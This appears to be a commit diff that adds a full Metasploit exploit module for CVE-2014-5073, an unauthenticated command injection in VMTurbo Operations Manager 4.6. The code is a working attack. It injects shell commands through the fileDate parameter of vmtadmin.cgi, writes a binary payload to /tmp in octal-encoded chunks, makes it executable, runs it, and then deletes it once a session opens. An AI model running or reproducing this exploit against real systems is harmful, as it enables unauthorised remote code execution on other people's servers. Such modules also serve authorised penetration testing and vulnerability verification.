|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated |
| 19 | + OS Command injection in the web interface. Use reverse payloads for the most |
| 20 | + reliable results. Since it is a blind OS command injection vulnerability, |
| 21 | + there is no output for the executed command when using the cmd generic payload. |
| 22 | + Port binding payloads are disregarded due to the restrictive firewall settings. |
| 23 | +
|
| 24 | + This module has been tested successfully on VMTurbo Operations Manager 4.5 and |
| 25 | + VMTurbo Operations Manager 4.6. |
| 26 | + }, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Emilio Pinna, Secunia Research <[email protected]>', # Vulnerability discovery and Metasploit module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CVE', '2014-5073'], |
| 35 | + ['OSVDB', '109572'], |
| 36 | + ['URL', 'http://secunia.com/secunia_research/2014-8/'] |
| 37 | + ], |
| 38 | + 'DisclosureDate' => 'Jun 25 2014', |
| 39 | + 'Privileged' => false, |
| 40 | + 'Platform' => %w{ linux unix }, |
| 41 | + 'Payload' => |
| 42 | + { |
| 43 | + 'Compat' => |
| 44 | + { |
| 45 | + 'ConnectionType' => '-bind' |
| 46 | + } |
| 47 | + }, |
| 48 | + 'Targets' => |
| 49 | + [ |
| 50 | + [ 'Unix CMD', |
| 51 | + { |
| 52 | + 'Arch' => ARCH_CMD, |
| 53 | + 'Platform' => 'unix' |
| 54 | + } |
| 55 | + ], |
| 56 | + [ 'VMTurbo Operations Manager', |
| 57 | + { |
| 58 | + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], |
| 59 | + 'Platform' => 'linux' |
| 60 | + } |
| 61 | + ], |
| 62 | + ], |
| 63 | + 'DefaultTarget' => 1 |
| 64 | + )) |
| 65 | + end |
| 66 | + |
| 67 | + def check |
| 68 | + begin |
| 69 | + res = send_request_cgi({ |
| 70 | + 'method' => 'GET', |
| 71 | + 'uri' => "/cgi-bin/vmtadmin.cgi", |
| 72 | + 'vars_get' => { |
| 73 | + "callType" => "ACTION", |
| 74 | + "actionType" => "VERSIONS" |
| 75 | + } |
| 76 | + }) |
| 77 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 78 | + print_error("#{rhost}:#{rport} - Failed to connect to the web server") |
| 79 | + return Exploit::CheckCode::Unknown |
| 80 | + end |
| 81 | + |
| 82 | + if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ |
| 83 | + version = $2 |
| 84 | + build = $1 |
| 85 | + |
| 86 | + print_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") |
| 87 | + else |
| 88 | + print_status("#{peer} - Unexpected vmtadmin.cgi response") |
| 89 | + return Exploit::CheckCode::Unknown |
| 90 | + end |
| 91 | + |
| 92 | + if version and version <= "4.6" |
| 93 | + return Exploit::CheckCode::Appears |
| 94 | + else |
| 95 | + return Exploit::CheckCode::Safe |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | + def request(cmd) |
| 100 | + begin |
| 101 | + res = send_request_cgi({ |
| 102 | + 'uri' => '/cgi-bin/vmtadmin.cgi', |
| 103 | + 'method' => 'GET', |
| 104 | + 'vars_get' => { |
| 105 | + "callType" => "DOWN", |
| 106 | + "actionType" => "CFGBACKUP", |
| 107 | + "fileDate" => "\"`#{cmd}`\"" |
| 108 | + } |
| 109 | + }) |
| 110 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 111 | + print_error("#{rhost}:#{rport} - Failed to connect to the web server") |
| 112 | + return nil |
| 113 | + end |
| 114 | + vprint_status("Sent command #{cmd}") |
| 115 | + res |
| 116 | + end |
| 117 | + |
| 118 | + |
| 119 | + def unix_stager(data) |
| 120 | + |
| 121 | + file_name = "/tmp/#{rand_text_alphanumeric(4+rand(4))}" |
| 122 | + |
| 123 | + File.open(file_name, 'wb') { |f| f.write(data) } |
| 124 | + unix_upload(file_name, data) |
| 125 | + @to_delete = file_name |
| 126 | + |
| 127 | + request("/bin/chmod +x #{file_name}") |
| 128 | + request("#{file_name}&") |
| 129 | + end |
| 130 | + |
| 131 | + def unix_upload(file_name, data, append=false) |
| 132 | + # This file uploader is used as early stager and follows the core |
| 133 | + # function _write_file_unix_shell() in lib/msf/core/post/file.rb |
| 134 | + |
| 135 | + redirect = (append ? '>>' : '>') |
| 136 | + |
| 137 | + # Short-circuit an empty string. The : builtin is part of posix |
| 138 | + # standard and should theoretically exist everywhere. |
| 139 | + if data.length == 0 |
| 140 | + request(": #{redirect} #{file_name}") |
| 141 | + return |
| 142 | + end |
| 143 | + |
| 144 | + d = data.dup |
| 145 | + d.force_encoding('binary') if d.respond_to? :force_encoding |
| 146 | + |
| 147 | + chunks = [] |
| 148 | + command = nil |
| 149 | + cmd_name = '' |
| 150 | + |
| 151 | + # Conservative. |
| 152 | + line_max = 512 |
| 153 | + # Leave plenty of room for the filename we're writing to and the |
| 154 | + # command to echo it out |
| 155 | + line_max -= file_name.length |
| 156 | + line_max -= 64 |
| 157 | + |
| 158 | + command = %q(/usr/bin/printf 'CONTENTS') |
| 159 | + |
| 160 | + # each byte will balloon up to 4 when we encode |
| 161 | + # (A becomes \x41 or \101) |
| 162 | + max = line_max / 4 |
| 163 | + |
| 164 | + i = 0 |
| 165 | + while i < d.length |
| 166 | + slice = d.slice(i...(i + max)) |
| 167 | + chunks << Rex::Text.to_octal(slice) |
| 168 | + i += max |
| 169 | + end |
| 170 | + |
| 171 | + print_status("Sending payload to #{file_name} writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes") |
| 172 | + |
| 173 | + # The first command needs to use the provided redirection for either |
| 174 | + # appending or truncating. |
| 175 | + cmd = command.sub('CONTENTS') { chunks.shift } |
| 176 | + request("#{cmd} #{redirect} '#{file_name}'") |
| 177 | + |
| 178 | + # After creating/truncating or appending with the first command, we |
| 179 | + # need to append from here on out. |
| 180 | + chunks.each { |chunk| |
| 181 | + vprint_status("Next chunk is #{chunk.length} bytes") |
| 182 | + cmd = command.sub('CONTENTS') { chunk } |
| 183 | + |
| 184 | + request("#{cmd} >> '#{file_name}'") |
| 185 | + } |
| 186 | + true |
| 187 | + end |
| 188 | + |
| 189 | + def exploit |
| 190 | + |
| 191 | + # |
| 192 | + # Handle single command shot |
| 193 | + # |
| 194 | + if target.name =~ /CMD/ |
| 195 | + cmd = payload.encoded |
| 196 | + res = request(cmd) |
| 197 | + |
| 198 | + unless res |
| 199 | + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") |
| 200 | + end |
| 201 | + |
| 202 | + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown exploitation state") |
| 203 | + return |
| 204 | + end |
| 205 | + |
| 206 | + @pl = generate_payload_exe |
| 207 | + |
| 208 | + unless @pl |
| 209 | + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Please set payload before to run exploit.") |
| 210 | + return |
| 211 | + end |
| 212 | + |
| 213 | + unix_stager(@pl) |
| 214 | + end |
| 215 | + |
| 216 | + def on_new_session(client) |
| 217 | + return unless defined? @to_delete |
| 218 | + |
| 219 | + print_warning("Deleting #{@to_delete} payload file") |
| 220 | + request("/bin/rm #{@to_delete}") |
| 221 | + end |
| 222 | +end |
0 commit comments